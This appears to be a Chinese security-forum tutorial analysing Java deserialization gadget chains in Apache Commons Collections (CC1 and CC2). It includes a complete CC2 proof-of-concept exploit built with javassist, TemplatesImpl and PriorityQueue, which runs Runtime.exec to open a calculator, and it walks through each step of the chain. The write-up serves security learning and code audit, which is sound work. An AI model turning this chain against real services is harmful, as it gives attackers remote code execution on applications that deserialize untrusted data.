-
-
[分享]java反序列化之Commons Collections分析(一)
-
发表于: 2021-11-4 13:49 6152
-
java反序列化之Commons Collections分析(一)
前言
在学习java反序列化的过程中,Commons Collections几乎是反序列化学习中无法绕过的一关。也是各大ctf和awd的常见考点,
作为java代码审计的重要一环,我们今天就来解析一下Commons Collections利用链。
版本问题
为了简述,以下commons-collections简称为CC,CC2链中使用的是commons-collections-4.0
版本,但是CC1在commons-collections-4.0
版本中其实能使用,但是commons-collections-4.0
版本删除了lazyMap
的decode
方法,这时候我们可以使用lazyMap
方法来代替。但是这里产生了一个疑问,为什么CC2链中使用commons-collections-4.0
3.2.1-3.1版本不能去使用,使用的是commons-collections-4.0
4.0的版本?在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator
并没有去实现Serializable
接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。
首先我们贴一下,CC的利用链版本,下面是maven依赖
1 2 3 4 5 | <dependency> <groupId>org.apache.commons< / groupId> <artifactId>commons - collections4< / artifactId> <version> 4.0 < / version> < / dependency> |
注意 因为在3.1-3.2.1版本中TransformingComparator
类没有实现Serializable
接口,不能够被序列化,于是就不能在使用链上构造了。
CommonsCollections1
环境:JDK1.7、commons-collections-3.1-3.2.1
漏洞点存在于
1 2 | commons - collections - 3.1 - src.jar: / org / apache / commons / collections / functors / InvokerTransformer.java |
在 InvokerTransformer 类的transform方法中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法
接下来我们需要利用反射调用恶意方法比如命令执行:Runtime.getRuntime().exec
但是得想办法构造出反射调用,类似下面的方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | import java.io.IOException; public class exploit { public static void main(String [] args) throws IOException{ / / 普通命令执行 Runtime.getRuntime(). exec (new String [] { "deepin-calculator" }); / / 通过反射执行命令 try { Class.forName( "java.lang.Runtime" ).getMethod( "exec" , String. class ).invoke( Class.forName( "java.lang.Runtime" ).getMethod( "getRuntime" ).invoke(Class.forName( "java.lang.Runtime" )), new String [] { "deepin-calculator" } ); } catch(Exception e) { e.printStackTrace(); } } } |
后面的流程就是需要找到能循环调用 transform 方法的地方来构造反射链
commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class
中有合适的transform方法,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法
所以我们可以构造上文提到的反射调用链,将 ChainedTransformer 的 Transformer 属性按照如下构造:
1 2 3 4 5 6 | Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime. class ), new InvokerTransformer( "getMethod" , new Class[] { String. class , Class[]. class }, new Object [] { "getRuntime" , new Class[ 0 ] }), new InvokerTransformer( "invoke" , new Class[] { Object . class , Object []. class }, new Object [] { null, new Object [ 0 ] }), new InvokerTransformer( "exec" , new Class[] { String. class }, new Object [] { "open /System/Applications/Calculator.app" }) }; |
commons-collections2
之前写过一篇文章708K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7K9s2g2S2L8X3I4S2L8W2)9J5k6i4A6Z5K9h3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8U0t1$3z5e0p5$3z5o6x3K6x3q4!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5q4!0m8c8g2!0n7x3W2!0q4z5q4!0m8y4#2!0m8x3#2!0q4y4q4!0n7b7g2)9^5y4W2g2d9e0p5c8z5f1#2!0q4z5q4!0n7x3q4)9^5x3#2!0q4z5q4!0m8c8W2)9&6y4g2!0q4y4g2)9^5z5q4)9^5y4W2!0q4y4W2)9&6c8g2)9&6x3q4!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4#2!0m8y4#2)9^5c8q4!0q4y4W2)9&6y4W2!0n7z5g2!0q4y4g2!0n7b7#2)9^5c8W2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4#2!0m8y4#2)9^5c8q4!0q4z5q4)9&6z5g2!0n7c8q4!0q4y4#2)9^5y4q4!0n7y4W2!0q4y4W2)9&6z5q4!0m8c8W2!0q4y4#2!0m8c8g2)9^5x3q4!0q4y4g2)9^5c8q4)9&6y4g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2!0n7b7g2)9^5c8W2!0q4y4g2)9^5z5q4)9&6y4#2!0q4y4g2)9^5b7#2)9&6y4W2!0q4y4g2)9^5z5q4!0m8z5g2!0q4y4#2)9&6y4q4!0m8z5q4!0q4y4W2)9&6y4W2!0n7z5g2!0q4y4g2!0n7b7#2)9^5c8W2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4q4!0n7c8q4)9^5y4W2!0q4y4W2)9&6z5q4!0m8c8W2!0q4z5g2!0n7b7g2!0n7b7W2!0q4z5g2)9&6b7W2)9^5x3q4!0q4z5q4)9&6z5g2!0n7c8q4!0q4y4g2!0n7x3q4)9^5c8W2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4q4!0n7b7g2)9&6y4q4!0q4z5q4)9^5y4q4)9^5c8W2!0q4y4q4!0n7c8W2!0n7x3g2!0q4y4g2)9^5y4g2!0m8z5q4!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4W2!0m8c8q4!0m8x3#2!0q4y4g2!0n7z5q4!0n7z5q4!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2)9^5c8W2)9^5c8q4!0q4y4g2!0n7b7g2)9^5c8W2!0q4y4g2)9^5z5q4)9&6y4#2!0q4y4g2)9^5b7#2)9&6y4W2!0q4y4W2!0n7y4g2)9^5x3g2!0q4y4#2!0m8z5q4)9^5b7W2!0q4z5g2)9^5x3#2!0n7c8q4!0q4y4W2)9&6z5q4!0m8c8W2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4q4!0n7z5g2)9^5z5q4!0q4z5q4!0n7y4g2!0n7x3q4!0q4y4#2)9&6b7g2)9^5y4q4!0q4x3#2)9^5x3q4)9^5x3R3`.`.
不过说到底CommonCollections虽说确实相比于URLDNS要复杂一些。
我尽量简化,贴上现在最新的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | package com.evalshell.springboot.handler; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class CommonCollections1 { public static void main(String[] args) throws Exception { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass( "CommonsCollections1123" ); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody( "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");" ); byte[] bytes = payload.toBytecode(); Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field = templatesImpl.getClass().getDeclaredField( "_bytecodes" ); field.setAccessible(true); field. set (templatesImpl,new byte[][]{bytes}); Field name = templatesImpl.getClass().getDeclaredField( "_name" ); name.setAccessible(true); name. set (templatesImpl, "test" ); InvokerTransformer invokerTransformer = new InvokerTransformer( "newTransformer" , new Class[]{}, new Object []{}); TransformingComparator comparator = new TransformingComparator(invokerTransformer); PriorityQueue<Integer> queue = new PriorityQueue<Integer>( 2 ); queue.add( 1 ); queue.add( 1 ); Field field2 = queue.getClass().getDeclaredField( "comparator" ); field2.setAccessible(true); field2. set (queue,comparator); Field field3 = queue.getClass().getDeclaredField( "queue" ); field3.setAccessible(true); field3. set (queue,new Object []{templatesImpl,templatesImpl}); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream( "cc2.ser" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream( "cc2.ser" )); inputStream.readObject(); inputStream.close(); } } |
运行的结果如下:
首先我贴上利用链:
1 2 3 4 5 6 7 8 9 10 | ObjectInputStream.readObject() - >PriorityQueue.readObject() - >PriorityQueue.heapify - >PriorityQueue.siftDown - >PriorityQueue.siftDownUsingComparator - >TransformingComparator.compare() - >InvokerTransformer.transform() - >TemplatesImpl.getTransletInstance - >cc2.newInstance() - >Runtime. exec () |
这个过程涉及到下面几个接口和类:
TransformedMap
TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可 以执行一个回调。我们通过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map:
1 | MapouterMap = TransformedMap.decorate(innerMap,keyTransformer, valueTransformer); |
TemplatesImpl
这里其实是javassist部分的知识,简单的来说就是动态的新创建了一个CommonsCollections1234
这个类中执行的是java.lang.Runtime.getRuntime().exec(\"open //System/Applications/Calculator.app\");
这一段的代码,之后通过byte[] bytes = payload.toBytecode();
转换成二进制数据。
TemplatesImpl
介绍一下这个类的内容,在CC2的链中getTransletInstance
的方法是其中的一环,首先看到构造方法是protected
的并且我也没有发现什么可以能够实现它的方法。所以还是通过反射的方式去处理。
其中是可以看到调用了defineTransletClasses()
方法的。
于是现在就需要找到什么地方调用了getTransletInstance
,就会找到templatesImpl
的newTransformer
方法是调用的
现在的问题是如何调用 newTransformer
,这里我们POC给出的方案是通过InvokerTransformer
类来反射调用,于是入口就变成了找到transform
方法,有点CC1的味道了。
1 2 | InvokerTransformer invokerTransformer = new InvokerTransformer( "newTransformer" , new Class[]{}, new Object []{}); TransformingComparator comparator = new TransformingComparator(invokerTransformer); |
最后来看POC的最后一段代码
1 2 3 | Field field3 = queue.getClass().getDeclaredField( "queue" ); field3.setAccessible(true); field3. set (queue,new Object []{templatesImpl,templatesImpl}); |
设置queue
为Object[]数组,内容为两个存在恶意代码的TemplatesImpl
实例实例化对象。调用heapify
方法的时候就会进行传参进去。到此为止走到了readObject
方法之后就都走完了,这一条反序列化链也OK了.
参考资料
d16K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8s2p5H3i4K6u0W2N6r3!0H3i4K6u0r3j5$3!0E0L8h3!0F1M7#2)9#2k6X3y4G2L8r3I4W2j5%4c8A6L8$3&6K6i4K6g2X3j5h3&6S2L8s2W2K6K9i4x3`.
11aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2X3M7X3g2W2j5Y4g2X3i4K6u0W2j5$3!0E0i4K6u0r3j5i4u0@1K9h3y4D9k6i4y4Q4x3V1k6%4k6h3u0Q4x3V1j5J5z5e0p5@1x3o6k6Q4x3X3g2Z5N6r3#2D9